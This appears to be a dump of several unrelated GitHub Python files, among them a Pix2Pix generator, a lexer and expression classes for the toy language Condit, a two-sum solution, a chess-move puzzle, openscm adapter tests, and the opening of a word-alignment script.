y_augmented = []\n\n for _ in range(augmentation_factor):\n x_aug, y_aug = apply_augmentation(x_train, y_train, augmentation_pipeline)\n x_augmented.append(x_aug)\n y_augmented.append(y_aug)\n\n # Combine the original and augmented data\n x_train = np.concatenate((x_train, *x_augmented), axis=0)\n y_train = np.concatenate((y_train, *y_augmented), axis=0)\n\n return x_train, y_train\n\nif __name__ == '__main__':\n # Test the data augmentation code with some sample data\n x_train, y_train = ... # Load your training data here\n x_train, y_train = augment_data(x_train, y_train)\n print('Data augmented:')\n print('Training set:', x_train.shape, y_train.shape)\n","repo_name":"zodia8393/Vesuvius-Challenge---Ink-Detection","sub_path":"data_augmentation.py","file_name":"data_augmentation.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"21790717052","text":"import torch\nfrom typing import List, cast\n\nimport torchelie.nn as tnn\nimport torchelie.utils as tu\nimport torch.nn as nn\nfrom .unet import UNet\n\n\nclass Pix2PixGenerator(UNet):\n \"\"\"\n UNet generator from Pix2Pix. Dropout layers have been substitued with Noise\n injections from StyleGAN2.\n\n Args:\n arch (List[int]): the number of channel for each depth level of the\n UNet.\n \"\"\"\n\n def __init__(self, arch: List[int]) -> None:\n super().__init__(arch, 3)\n self.remove_first_batchnorm()\n\n self.features.input = tnn.ConvBlock(3, int(arch[0]), 3)\n self.features.input.remove_batchnorm()\n\n encdec = cast(nn.Module, self.features.encoder_decoder)\n for m in encdec.modules():\n if isinstance(m, tnn.UBlock):\n m.to_bilinear_sampling()\n m.set_encoder_num_layers(1)\n m.set_decoder_num_layers(1)\n\n tnn.utils.make_leaky(self)\n self.classifier.relu = nn.Sigmoid()\n\n self._add_noise()\n\n def _add_noise(self):\n layers = [self.features.encoder_decoder]\n while hasattr(layers[-1].inner, 'inner'):\n layers.append(layers[-1].inner)\n tnn.utils.insert_after(layers[-1].inner, 'norm', tnn.Noise(1, True),\n 'noise')\n\n for m in layers:\n tnn.utils.insert_after(\n m.out_conv.conv_0, 'norm',\n tnn.Noise(m.out_conv.conv_0.out_channels, True), 'noise')\n\n def to_equal_lr(self) -> 'Pix2PixGenerator':\n return tnn.utils.net_to_equal_lr(self)\n\n def set_padding_mode(self, mode: str) -> 'Pix2PixGenerator':\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n m.padding_mode = mode\n return self\n\n @torch.no_grad()\n def to_instance_norm(self, affine: bool = True) -> 'Pix2PixGenerator':\n \"\"\"\n Pix2Pix sometimes uses batch size 1, similar to instance norm.\n \"\"\"\n\n def to_instancenorm(m):\n if isinstance(m, nn.BatchNorm2d):\n return nn.InstanceNorm2d(m.num_features, affine=affine)\n return m\n\n tnn.utils.edit_model(self, to_instancenorm)\n\n return self\n\n\ndef pix2pix_256() -> Pix2PixGenerator:\n \"\"\"\n The architecture used in `Pix2Pix `_,\n able to train on 256x256 or 512x512 images.\n \"\"\"\n return Pix2PixGenerator([32, 64, 128, 256, 512, 512, 512, 512])\n\n\ndef pix2pix_128() -> Pix2PixGenerator:\n \"\"\"\n The architecture used in `Pix2Pix `_,\n able to train on 128x128 or 512x512 images.\n \"\"\"\n return Pix2PixGenerator([32, 64, 128, 256, 512, 512, 512])\n\n\ndef pix2pix_dev() -> Pix2PixGenerator:\n \"\"\"\n A version of pix2pix_256 with less filter to use less memory and compute.\n \"\"\"\n return Pix2PixGenerator([32, 64, 128, 128, 256, 256, 512, 512])\n","repo_name":"Vermeille/Torchelie","sub_path":"torchelie/models/pix2pix.py","file_name":"pix2pix.py","file_ext":"py","file_size_in_byte":2916,"program_lang":"python","lang":"en","doc_type":"code","stars":111,"dataset":"github-code","pt":"38"} +{"seq_id":"487248665","text":"#Token.py -- token-holding class and lexical analyzer.\n# \n# Quite a bit of grunt-work happens here. Although this file looks pretty long, it actually doesn't\n# have all that much in it.\n# There are 5 (groups of) things in this file:\n# - The token class represents a basic token. It's critical for the parser to handle these.\n# - Aggregate classes group actions/expressions together in some generic way.\n# - Action classes represent things that the user may do when conditions are met.\n# - Expression classes represent the results of expressions.\n# - The lexical analyzer splits a file into tokens and ignores comments.\n\nfrom sys import stdin, stdout\nfrom random import randrange\n\n#The values for variables\nvariables = {}\n\n#The currently open files for writing.\nopenWfiles = {}\n\n#The currently open files for reading.\nopenRfiles = {}\n\n\nclass token( object ):\n\t''' Holds a single token, or token-like object. '''\n\tdef __init__(self, val, type):\n\t\t''' Some special values for type are interpreted below.\n\t\t If it doesn't precisely match these criteria, then it's\n\t\t left up to client functions to deal with the type. \n\t\t \n\t\t When type in [string,number], the value must be stored in\n\t\t val. For other types, this may or may not be true.'''\n\t\tself.type = type\n\t\tself.val = val\n\n\t\tif self.type == \"ident\": #process identifiers\n\t\t\tif self.val in [\"when\", \"then\", \"set\", \"put\", \"get\", \"eof\", \"rnd\", \"chop\", \"Chop\"]:\n\t\t\t\tself.type = self.val\n\t\t\telif self.val in [\"and\", \"or\"]:\n\t\t\t\tself.type = \"oper\"\n\t\t\telse:\n\t\t\t\tself.type = \"var\"\n\n\t\tif self.type == \"punct\":\n\t\t\tif self.val in [\"=\", \"<\", \">\", \"+\", \"-\", \"*\", \"/\"]:\n\t\t\t\tself.type = \"oper\"\n\t\t\telse:\n\t\t\t\tself.type = self.val\n\t\t\n\tdef eval( self, index=0 ):\n\t\t''' Evaluate a value, returning a representative string or number token.\n\t\t Valid only for stvar, string, nvar, and number. '''\n\t\tglobal variables\n\t\t\n\t\tif self.type == \"var\":\n\t\t\tt = \"string\" if self.val[0].isupper() else \"number\"\n\t\t\tif self.val in variables:\n\t\t\t\tif len( variables[self.val] ) < index:\n\t\t\t\t\treturn token(\"\", t)\n\t\t\t\treturn token( variables[self.val][index], t)\n\t\t\telse:\n\t\t\t\tif t == \"string\":\n\t\t\t\t\treturn token(\"\",t)\n\t\t\t\telse:\n\t\t\t\t\treturn token(\"0\",t)\n\t\telif self.type in [\"string\",\"number\"]:\n\t\t\treturn token(self.val, self.type)\n\t\telse:\n\t\t\traise RuntimeError(\"Invalid type to eval.\")\n\n\tdef assign( self, value, index):\n\t\t''' Assign a value token to a variable.\n\t\t Valid only for stvar, nvar. '''\n\t\tglobal variables\n\t\t\n\t\tif self.type == \"var\":\n\t\t\t\tt = \"string\" if self.val[0].isupper() else \"number\"\n\t\t\t\tif not self.val in variables:\n\t\t\t\t\tvariables[self.val] = []\n\t\t\t\tif index == None or index.eval().type != \"number\":\n\t\t\t\t\traise RuntimeError(\"Assign index must be a number.\")\n\t\t\t\telse:\n\t\t\t\t\ti = eval(index.eval().val)\n\t\t\t\t\twhile len(variables[self.val]) <= i:\n\t\t\t\t\t\tvariables[self.val].append( \"0\" if t == \"number\" else \"\" )\n\t\t\t\t\tvariables[self.val][i] = value.eval().val\n\t\telse:\n\t\t\traise RuntimeError(\"Invalid type to assign.\")\n\t\t\t\n\tdef __repr__(self):\n\t\treturn \"<\" + self.type + \":\" + self.val + \">\"\n\t\t\t\n\n##############\n# AGGREGATES #\n###################################################################\n# Aggregate classes hold one or more of the classes under ACTIONS #\n# and EXPRESSIONS below. Their use case is to reduce multiple #\n# actions or expressions into a single action/expression. #\n# The each have the respective eval() or do() method. #\n###################################################################\n\nclass action_list( token ):\n\t''' A list of actions, which are any token that has a .do() method. '''\n\tdef __init__(self):\n\t\ttoken.__init__(self, \"actionlist\", \"action\")\n\t\tself.list = []\n\tdef add(self, action):\n\t\tif action.val == \"actionlist\":\n\t\t\tself.list = self.list + action.list\n\t\telse:\n\t\t\tself.list.append(action)\n\tdef do(self):\n\t\tfor i in range( 0, len(self.list) ):\n\t\t\tself.list[i].do()\n\nclass action_when( token ):\n\t''' represents an entire line of code, e.g., a when expr then action set. '''\n\tdef __init__(self, cond, action):\n\t\ttoken.__init__(self, \"line\", \"line\")\n\t\tself.cond = cond\n\t\tself.action = action\n\t\t\n\t\tif None in [cond, action]:\n\t\t\traise RuntimeError(\"None in when.\")\n\t\t\n\t\t\n\tdef do(self):\n\t\tc = self.cond.eval()\n\t\tif c.type != \"number\":\n\t\t\traise SyntaxError(\"String in condition.\")\n\n\t\t#when.do() is an exception to the rule. It returns its condition's success.\n\t\tif c.val != \"0\": #if the condition is true\n\t\t\tself.action.do()\n\t\t\treturn 1\n\t\telse:\n\t\t\treturn 0 \n\nclass expression( token ):\n\t''' An expression. The default just returns the value from token. '''\n\tdef __init__(self, e):\n\t\ttoken.__init__(self, \"expression\", \"expression\")\n\t\tself.expr = e\n\tdef eval( self ):\n\t\treturn self.expr.eval()\n\n\n\n\n\n###########\n# ACTIONS #\n############################################################\n# Actions store something to do in the future. #\n# The actions that have been defined for this language are #\n# get, set, and put. Every action class has a do() method, #\n# which is called for that action to be done at the right #\n# time. #\n############################################################\n\nclass action_get( token ):\n\t''' Defines the get action. '''\n\tdef __init__(self, var, index=token(\"0\",\"number\"), where=None):\n\t\tglobal openRfiles\n\t\t\n\t\ttoken.__init__(self, \"get\", \"action\")\n\t\tself.var = var\n\t\tself.index = index\n\t\tself.where = where\n\t\n\tdef do(self):\n\t\tglobal openRfiles\n\t\t\n\t\ti = self.index.eval()\n\t\tv = self.var\n\t\t\n\t\tif self.where == None:\n\t\t\tline = raw_input()\n\t\telse:\n\t\t\t#Determine the filename\n\t\t\tfileNameToken = self.where.eval()\n\t\t\tif fileNameToken.type != \"string\":\n\t\t\t\traise SyntaxError(\"Filename must be a string.\")\n\t\t\tfname = fileNameToken.val\n\t\t\t\n\t\t\t#Open or get the file reference\n\t\t\tif fname in openRfiles:\n\t\t\t\tf = openRfiles[fname][0]\n\t\t\telse:\n\t\t\t\topenRfiles[fname] = [ open(fname, \"r\"), False ]\n\t\t\t\tf = openRfiles[fname][0]\n\t\t\t\n\t\t\t#Set EOF status, read in a line, etc.\n\t\t\topenRfiles[fname][1] = False #assume not EOF. Find out in a second.\n\t\t\tline = f.readline()\n\t\t\tif line == \"\":\n\t\t\t\topenRfiles[fname][1] = True\n\t\t\t\topenRfiles[fname][0].close()\n\t\t\t\topenRfiles[fname][0] = open(fname, \"r\") #restart from beginning of file.\n\t\t\telif line[-1] == \"\\n\": #disregard the newline at the end.\n\t\t\t\tline = line[:-1]\n\t\t\t\t\n\t\tif i.type != \"number\":\n\t\t\traise SyntaxError(\"Index must be a number.\")\n\t\t\n\t\tv.assign( token(line,\"string\"), i )\n\t\t\n\t\t\n\t\t\n\nclass action_set( token ):\n\t''' Defines the set action. '''\n\tdef __init__(self, var, value, index=token(\"0\",\"number\")):\n\t\ttoken.__init__(self, \"set\", \"action\")\n\t\tself.var = var\n\t\tself.value = value\n\t\tself.index = index\n\t\t\n\tdef do(self):\n\t\tif self.var.type == \"var\":\n\t\t\ti = self.index.eval()\n\t\t\tself.var.assign( self.value.eval(), i )\n\t\telse:\n\t\t\traise RuntimeError(\"Can't assign non-variables.\")\n\t\t\t\n\nclass action_put( token ):\n\t''' Defines the put action. '''\n\tdef __init__( self, expr, where = None ):\n\t\ttoken.__init__(self, \"put\", \"action\")\n\t\tself.expr = expr\n\t\tself.where = where\t\t\n\n\tdef do(self):\n\t\ts = eval( \"'''\" + self.expr.eval().val + \"'''\" ) #handle \\n, etc.\n\t\tif self.where == None:\n\t\t\tprint( s,end=\"\") #write w/o newline to stdout.\n\t\telse:\n\t\t\tglobal openWfiles\n\t\t\t\n\t\t\tw = self.where.eval()\n\t\t\tif w.type != \"string\":\n\t\t\t\traise SyntaxError(\"Filename must be string.\")\n\t\t\t\t\n\t\t\tif w.val in openWfiles:\n\t\t\t\tf = openWfiles[w.val]\n\t\t\telse:\n\t\t\t\topenWfiles[w.val] = open(w.val, \"w\")\n\t\t\t\tf = openWfiles[w.val]\n\t\t\t\n\t\t\tf.write( s ) #convert \\n, etc.\t\n\n\n###############\n# EXPRESSIONS #\n####################################################################\n# Expressions represent data aggregates. The most basic expression #\n# the token itself, which evaluates the variable or value therein. #\n# The eval() method is required of these classes. It must return a #\n# string or number token, which must contain its value in the val #\n# field. The token class itself is an expression as well. #\n# Due to side effects, it should be noted that no eval() method #\n# should evaluate its inputs more than once. #\n####################################################################\nclass expr_plus( token ):\n\t''' Represents the + operator. '''\n\tdef __init__( self, l, r ):\n\t\ttoken.__init__(self, \"+\", \"expression\")\n\t\tself.left = l\n\t\tself.right = r\n\t\tif self.left == None or self.right == None:\n\t\t\traise RuntimeError(\"Null plus operand.\")\n\n\tdef eval( self ):\n\t\tl = self.left.eval()\n\t\tr = self.right.eval()\n\t\t\n\t\tif l.type == \"number\":\n\t\t\tif r.type != \"number\":\n\t\t\t\traise SyntaxError(\"Cannot add strings to numbers.\")\n\t\t\tl = eval( l.val )\n\t\t\tr = eval( r.val )\n\t\t\treturn token( str(l+r), \"number\")\n\t\telse:\n\t\t\tl = l.val\n\t\t\tr = r.val\n\t\t\treturn token( l+r, \"string\" )\n\t\t\t\t\t\nclass expr_minus( token ):\n\t''' Represents the - operator. '''\n\tdef __init__( self, l, r ):\t\n\t\ttoken.__init__(self, \"-\", \"expression\")\n\t\tself.left = l\n\t\tself.right = r\n\n\tdef eval( self ):\n\t\tif self.left == None:\n\t\t\tself.left = token(\"0\", \"number\") #support unary operator\n\n\t\tl = self.left.eval()\n\t\tr = self.right.eval()\n\t\t\n\t\tif l.type != \"number\" or r.type != \"number\":\n\t\t\traise SyntaxError(\"Can't subtract non-numbers.\")\n\t\tl = eval( l.val )\n\t\tr = eval( r.val )\n\n\t\treturn token( str(l-r), \"number\" )\n\t\t\n\t\t\nclass expr_times( token ):\n\t''' Represents the * operator '''\n\tdef __init__( self, l, r ):\n\t\ttoken.__init__(self, \"*\",\"expression\")\n\t\tself.left = l\n\t\tself.right = r\n\tdef eval(self):\n\t\tif self.left == None or self.right == None:\n\t\t\traise RuntimeError(\"Null factors.\")\n\t\tl = self.left.eval()\n\t\tr = self.right.eval()\n\t\tif l.type != \"number\" or r.type != \"number\":\n\t\t\traise SyntaxError(\"Can't multiply non-numbers.\")\n\t\tl = eval( l.val )\n\t\tr = eval( r.val )\n\t\t\n\t\treturn token( str(l*r), \"number\" )\n\n\nclass expr_divide( token ):\n\t''' Represents the division operator. '''\n\tdef __init__(self, l, r):\n\t\ttoken.__init__(self, \"/\",\"expression\")\n\t\tself.left = l\n\t\tself.right = r\n\t\t\n\tdef eval(self):\n\t\tif None in [self.left, self.right]:\n\t\t\traise RuntimeError(\"Not enough operands.\")\n\t\t\n\t\tl = self.left.eval()\n\t\tr = self.right.eval()\n\t\t\n\t\tif l.type != \"number\" or r.type != \"number\":\n\t\t\traise SyntaxError(\"Can't divide non-numbers.\")\n\t\tif r.val == \"0\":\n\t\t\traise RuntimeError(\"Division by zero!\")\n\t\tl = eval(l.val)\n\t\tr = eval(r.val)\n\t\t\n\t\treturn token( str(l/r), \"number\")\n\n\nclass expr_array( token ):\n\t''' Represents [n]v syntax. '''\n\tdef __init__(self, var, index=token(\"0\",\"number\")):\n\t\ttoken.__init__(self, \"array\", \"expression\")\n\t\tif None in [index, var]:\n\t\t\traise SyntaxError(\"Invalid array expression.\")\n\t\tif var.type != \"var\":\n\t\t\traise RuntimeError(\"Null variable.\")\n\t\tself.var = var\n\t\tself.index = index\n\n\tdef eval(self):\n\t\tv = self.var\n\t\ti = self.index.eval()\n\t\t\n\t\tif i.type != \"number\":\n\t\t\traise SyntaxError(\"Index must be a number.\")\n\t\ti = eval(i.val)\n\t\t\n\t\treturn self.var.eval( i )\n\t\t\n\nclass expr_rand( token ):\n\t''' Represents rnd(n) syntax '''\n\tdef __init__(self, val):\n\t\ttoken.__init__(self, \"rand\", \"expression\")\n\t\tself.v = val\n\t\tif val == None:\n\t\t\traise SyntaxError(\"Rnd requires a number.\")\n\t\n\tdef eval(self):\n\t\tn = self.v.eval()\n\t\tif n.type != \"number\":\n\t\t\traise SyntaxError(\"Can't pick a random string.\")\n\t\t\n\t\tr = randrange(0, eval(n.val))\n\t\treturn token(str(r),\"number\")\n\n\nclass expr_eof( token ):\n\t''' Represents eof(str) syntax '''\n\tdef __init__(self, string):\n\t\ttoken.__init__(self, \"eof\", \"expression\")\n\t\tif string == None:\n\t\t\traise RuntimeError(\"Null file in eof call.\")\n\t\tself.st = string\n\t\n\tdef eval(self):\n\t\tglobal openRfiles\n\t\ts = self.st.eval()\n\t\tif s.type != \"string\":\n\t\t\traise SyntaxError(\"EOF must be evaluated with a string.\")\n\t\t\t\n\t\tif s.val not in openRfiles:\n\t\t\treturn token(\"0\",\"number\") #unopened files aren't EOF'd yet.\n\t\telse:\n\t\t\tif openRfiles[s.val][1]:\n\t\t\t\treturn token(\"1\",\"number\")\n\t\t\treturn token(\"0\",\"number\")\n\t\t\n\t\t\n\nclass expr_equal( token ):\n\t''' Represents the = operator in expressions. '''\n\tdef __init__(self, l, r):\n\t\ttoken.__init__(self, \"equals\", \"expression\")\n\t\tif None in [l,r]:\n\t\t\traise RuntimeError(\"Can't equate None.\")\n\t\tself.l = l\n\t\tself.r = r\n\t\n\tdef eval(self):\n\t\tl = self.l.eval()\n\t\tr = self.r.eval()\n\t\t\n\t\tif l.type != r.type or l.val != r.val:\n\t\t\treturn token(\"0\",\"number\")\n\t\treturn token(\"1\",\"number\")\n\t\t\t\n\t\nclass expr_greater( token ):\n\t''' Represents the > operator in expressions. '''\n\tdef __init__(self, l, r):\n\t\ttoken.__init__(self, \"greater\",\"expression\")\n\t\tif None in [l,r]:\n\t\t\traise RuntimeError(\"Can't compare None.\")\n\t\tself.l = l\n\t\tself.r = r\n\t\n\tdef eval(self):\n\t\tl = self.l.eval()\n\t\tr = self.r.eval()\n\t\t\n\t\tif l.type != r.type:\n\t\t\traise SyntaxError(\"Can't compare across types.\")\n\t\telif l.val > r.val:\n\t\t\treturn token(\"1\",\"number\")\n\t\telse:\n\t\t\treturn token(\"0\",\"number\")\n\n\nclass expr_less( token ):\n\t''' Represents the < operator in expressions. '''\n\tdef __init__(self, l, r):\n\t\ttoken.__init__(self, \"less\",\"expression\")\n\t\tif None in [l,r]:\n\t\t\traise RuntimeError(\"Can't compare None.\")\n\t\tself.l = l\n\t\tself.r = r\n\t\n\tdef eval(self):\n\t\tl = self.l.eval()\n\t\tr = self.r.eval()\n\t\t\n\t\tif l.type != r.type:\n\t\t\traise SyntaxError(\"Can't compare across types.\")\n\t\telif l.val < r.val:\n\t\t\treturn token(\"1\",\"number\")\n\t\telse:\n\t\t\treturn token(\"0\",\"number\")\n\n\nclass expr_and( token ):\n\t''' Represents the and logical operator. '''\n\tdef __init__(self, l, r):\n\t\ttoken.__init__(self, \"and\",\"expression\")\n\t\tif None in [l,r]:\n\t\t\traise RuntimeError(\"Can't compare None.\")\n\t\tself.l = l\n\t\tself.r = r\n\t\n\tdef eval(self):\n\t\tl = self.l.eval()\n\t\tr = self.r.eval()\n\t\t\n\t\tif l.type != \"number\" or r.type != \"number\":\n\t\t\traise SyntaxError(\"Only numbers are boolean.\")\n\t\t\n\t\t\n\t\tif \"0\" in [r.val, l.val]:\n\t\t\treturn token(\"0\",\"number\")\n\t\telse:\n\t\t\treturn token(\"1\",\"number\")\n\nclass expr_or( token ):\n\t''' Represents the or logical operator. '''\n\tdef __init__(self, l, r):\n\t\ttoken.__init__(self, \"and\",\"expression\")\n\t\tif None in [l,r]:\n\t\t\traise RuntimeError(\"Can't compare None.\")\n\t\tself.l = l\n\t\tself.r = r\n\t\n\tdef eval(self):\n\t\tl = self.l.eval()\n\t\tr = self.r.eval()\n\t\t\n\t\tif l.type != \"number\" or r.type != \"number\":\n\t\t\traise SyntaxError(\"Only numbers are boolean.\")\n\t\t\n\t\tif r.val == l.val == \"0\":\n\t\t\treturn token(\"0\",\"number\")\n\t\telse:\n\t\t\treturn token(\"1\",\"number\")\n\t\t\t\nclass expr_var( token ):\n\t''' Converts a token(*,\"var\") to a token(*,\"expression\") '''\n\tdef __init__(self, t):\n\t\ttoken.__init__(self, \"var\", \"expression\")\n\t\tif t.type != \"var\":\n\t\t\traise RuntimeError(\"Non-variable passed to expr_var.\")\n\t\tself.t = t\n\t\n\tdef eval(self):\n\t\treturn self.t.eval()\n\nclass expr_chop( token ):\n\t''' Represents the Chop(var, number) expression '''\n\tdef __init__(self, var, num, index=token(\"0\",\"number\")):\n\t\ttoken.__init__(self, \"chop\",\"expression\")\n\t\tif None in [var, num]:\n\t\t\traise RuntimeError(\"None passed to chop.\")\n\t\tself.var = var\n\t\tself.num = num\n\t\tself.index = index\n\t\n\tdef eval(self):\n\t\tv = self.var\n\t\tn = self.num.eval()\n\t\ti = self.index.eval()\n\t\t\n\t\tif v.type != \"var\" or n.type != \"number\":\n\t\t\traise SyntaxError(\"Invalid chop expression.\")\n\t\tp = eval(n.val)\n\t\t\n\t\ts = v.eval(eval(i.val))\n\t\tif s.type != \"string\":\n\t\t\traise SyntaxError(\"cannot chop non-strings.\")\n\t\ts = s.val\n\t\t\n\t\ts1 = s[p:]\n\t\ts2 = s[:p]\n\t\tif p<0: s1,s2 = s2,s1\n\t\t\n\t\tv.assign( token(s1,\"string\"), i ) #side-effect\n\t\t\n\t\treturn token(s2, \"string\")\n\n\nclass expr_chopnum( token ):\n\t''' Represents the chop(var, number) expression '''\n\tdef __init__(self, var, num, index=token(\"0\",\"number\")):\n\t\ttoken.__init__(self, \"chop\",\"expression\")\n\t\tif None in [var, num]:\n\t\t\traise RuntimeError(\"None passed to chop.\")\n\t\tself.var = var\n\t\tself.num = num\n\t\tself.index = index\n\t\n\tdef eval(self):\n\t\tv = self.var\n\t\tn = self.num.eval()\n\t\ti = self.index.eval()\n\t\t\n\t\tif v.type != \"var\" or n.type != \"number\":\n\t\t\traise SyntaxError(\"Invalid chop expression.\")\n\t\tp = eval(n.val)\n\t\t\n\t\ts = v.eval(eval(i.val))\n\t\tif s.type != \"string\":\n\t\t\traise SyntaxError(\"cannot chop non-strings.\")\n\t\ts = s.val\n\t\t\n\t\ts1 = s[p:]\n\t\ts2 = s[:p]\n\t\tif p<0: s1,s2 = s2,s1\n\t\t\n\t\t#find the number.\n\t\tr = \"\"\n\t\tfor j in range(0, len(s2)):\n\t\t\tif s2[j].isdigit or s2[j] in [\".\", \"-\"]:\n\t\t\t\tr = r + s2[j]\n\t\t\telse:\n\t\t\t\tbreak\n\t\t\n\t\tv.assign( token(s1,\"string\"), i ) #side-effect\n\t\t\n\t\t\n\t\t\n\t\treturn token(r if r != \"\" else \"0\", \"number\")\n\n\t\t\n\nclass expr_const( token ):\n\t''' Converts a token(*,[\"string\",\"number\"]) to a token(*,\"expression\") '''\n\tdef __init__(self, t):\n\t\ttoken.__init__(self, \"const\", \"expression\")\n\t\tif t.type not in [\"string\",\"number\"]:\n\t\t\traise RuntimeError(\"Non-variable passed to expr_var.\")\n\t\tself.t = t\n\t\n\tdef eval(self):\n\t\treturn self.t.eval()\n\n\n####################\n# LEXICAL ANALYZER #\n#####################################################\n# A straightforward lexical analyzer. This language #\n# is simple enough that no regular expressions or #\n# fancy coding is really needed. #\n#####################################################\ndef lex(line):\n\t''' Return the stream of tokens representing the source '''\n\t#Easier lexing if we have a bit of whitespace at the end.\n\tline = line + \" \"\n\n\ttokens = []\n\ttok = \"\"\n\ttoktype = \"\"\n\twhile len(line) > 2:\n\t\tif line[0].isspace(): #end last token, or ignore\n\t\t\tif toktype != \"\":\n\t\t\t\ttokens.append( token(tok, toktype) )\n\t\t\t\ttok = \"\"\n\t\t\t\ttoktype = \"\"\n\t\t\tline = line[1:]\n\t\t\tcontinue\n\t\telif line[0] == ';': #comment\n\t\t\tif toktype != \"\":\n\t\t\t\ttokens.append( token(tok, toktype) )\n\t\t\t\ttok = \"\"\n\t\t\t\ttoktype = \"\"\n\t\t\tline = line[ line.index(\"\\n\"): ]\n\t\t\tcontinue\n\t\telif line[0] == '\"': #start a string\n\t\t\tline = line[1:]\n\t\t\tindex = line.index('\"') #raises exception on no EOS\n\t\t\ttokens.append(token(line[0:index], \"string\"))\n\t\t\tline = line[index+1:]\n\t\telif line[0].isalpha(): #start an identifier or keyword\n\t\t\tif toktype != \"ident\" and toktype != \"\":\n\t\t\t\ttokens.append( token(tok, toktype) )\n\t\t\t\ttok = \"\"\n\t\t\telse:\n\t\t\t\ttoktype = \"ident\"\n\t\t\t\ttok = tok + line[0]\n\t\t\t\tline = line[1:]\n\t\telif line[0].isdigit() or line[0] == \".\": #start a number\n\t\t\tif toktype != \"number\" and toktype != \"\":\n\t\t\t\ttokens.append( token(tok, toktype) )\n\t\t\t\ttok = \"\"\n\t\t\telse:\n\t\t\t\ttoktype = \"number\"\n\t\t\t\ttok = tok + line[0]\n\t\t\t\tline = line[1:]\n\t\telif line[0] in ['=', '<', '>', ',', '+', '-', '*', '/', '(', ')', '|', '#', '[', ']']: #punctuation\n\t\t\tif toktype != \"\":\n\t\t\t\ttokens.append( token(tok, toktype) )\n\t\t\ttokens.append( token(line[0], \"punct\") )\n\t\t\ttoktype = \"\"\n\t\t\ttok = \"\"\n\t\t\tline = line[1:]\n\t\telse:\n\t\t\traise SyntaxError(\"Unexpected character: \" + line[0])\n\t\n\t\n\treturn tokens\n\n\n\n","repo_name":"TryItOnline/condit","sub_path":"conditToken.py","file_name":"conditToken.py","file_ext":"py","file_size_in_byte":18269,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"6941586334","text":"from typing import List\n\nclass Solution:\n def twoSum(self, nums: List[int], target: int) -> List[int]:\n indices = [0,0]\n for x in range(len(nums)):\n partner = target - nums[x]\n for y in range(x+1,len(nums)):\n if partner == nums[y]:\n indices = [nums[x],nums[y]]\n print(indices)\n return indices\n return -1\n\nif __name__ == '__main__':\n s = Solution()\n s.twoSum([2,7,11,15],9)\n","repo_name":"Hong-Jie/Leetcode","sub_path":"q1TwoSum.py","file_name":"q1TwoSum.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"22817791488","text":"def moving(chess, mov):\n k = chess[:] # 킹이나 돌이 판 밖으로 나가면 원위치 시키기 위한 변수 할당\n if 'R' in mov: # 오른쪽으로 이동\n if ord(k[0]) <= 71:\n k[0] = chr(ord(k[0]) + 1)\n else:\n return chess\n if 'L' in mov: # 왼쪽 이동\n if ord(k[0]) >= 66:\n k[0] = chr(ord(k[0]) - 1)\n else:\n return chess\n if 'T' in mov: # 위로 이동\n if int(k[1]) <= 7:\n k[1] = str(int(k[1]) + 1)\n else:\n return chess\n if 'B' in mov: # 아래로 이동\n if int(k[1]) >= 2:\n k[1] = str(int(k[1]) - 1)\n else:\n return chess\n return k\n \nking, stone, n = input().split()\nking = list([king[0], king[1]])\nstone = list([stone[0], stone[1]])\nn = int(n)\nfor _ in range(n):\n move = input()\n king_new = moving(king, move) # 킹이 이동할 새로운 위치를 새로운 변수에 할당\n if king_new == stone: # 킹이 이동한 위치와 돌의 위치가 같을 때\n stone_new = moving(stone, move) # 우선 똑같이 이동시킨 돌의 위치를 새로운 변수에 할당\n if stone_new != stone: # 근데 새로운 돌의 위치가 판 밖으로 나가는 경우라면\n king = king_new[:] # 킹과 돌 둘다 원위치\n stone = stone_new[:]\n else: # 킹이 이동해도 돌이랑 위치가 같지 않으면\n king = king_new[:] # 입력대로 킹 이동\nprint(''.join(king))\nprint(''.join(stone))","repo_name":"woo3gyeob/algorithm_python","sub_path":"2021/0216_킹.py","file_name":"0216_킹.py","file_ext":"py","file_size_in_byte":1661,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"34221425098","text":"from openscm.adapters import Adapter\nfrom openscm.core.parameterset import ParameterSet\n\n\ndef test_adapter_base_class_init():\n parametersstub = \"Parameters\"\n outputstub = \"Parameters\"\n Adapter.__abstractmethods__ = set()\n adapter = Adapter( # pylint: disable=abstract-class-instantiated\n parametersstub, outputstub\n )\n assert adapter._parameters == parametersstub\n assert adapter._output == outputstub\n\n\ndef test_adapter_base_class_initialize_model_input():\n Adapter.__abstractmethods__ = set()\n adapter = Adapter( # pylint: disable=abstract-class-instantiated\n ParameterSet(), ParameterSet()\n )\n\n adapter.initialize_model_input()\n assert adapter._initialized\n\n\ndef test_adapter_base_class_initialize_run_parameters():\n Adapter.__abstractmethods__ = set()\n adapter = Adapter( # pylint: disable=abstract-class-instantiated\n ParameterSet(), ParameterSet()\n )\n adapter.initialize_run_parameters()\n assert adapter._initialized\n\n\ndef test_adapter_base_class_run():\n start_time = 20\n\n Adapter.__abstractmethods__ = set()\n in_parameters = ParameterSet()\n in_parameters.generic(\"Start Time\").value = start_time\n adapter = Adapter( # pylint: disable=abstract-class-instantiated\n in_parameters, ParameterSet()\n )\n\n adapter.initialize_model_input()\n adapter.initialize_run_parameters()\n adapter.reset()\n assert adapter._current_time == start_time\n adapter.run()\n assert adapter.step() == start_time\n","repo_name":"openscm/openscm","sub_path":"tests/unit/test_adapter.py","file_name":"test_adapter.py","file_ext":"py","file_size_in_byte":1507,"program_lang":"python","lang":"en","doc_type":"code","stars":63,"dataset":"github-code","pt":"38"} +{"seq_id":"24588954640","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\"\"\"\n@Project :awesome-align-master \n@File :calc_word_vector.py\n@Author :znn\n@Date :2022/9/6 14:07 \n\"\"\"\nimport os\nimport torch\nimport transformers\nimport itertools\n\nbase_dir = os.getcwd()\nmodel_path = os.path.join(base_dir, \"checkpoint-30000\")\nmodel = transformers.BertModel.from_pretrained(model_path)\ntokenizer = transformers.BertTokenizer.from_pretrained(model_path)\n\n\ndef model_eval_fuc(source_string, target_string):\n # alignment\n model.eval()\n align_layer = 8\n # threshold = 1e-3\n threshold = 0.001\n align_words_dict = {}\n align_words_list = 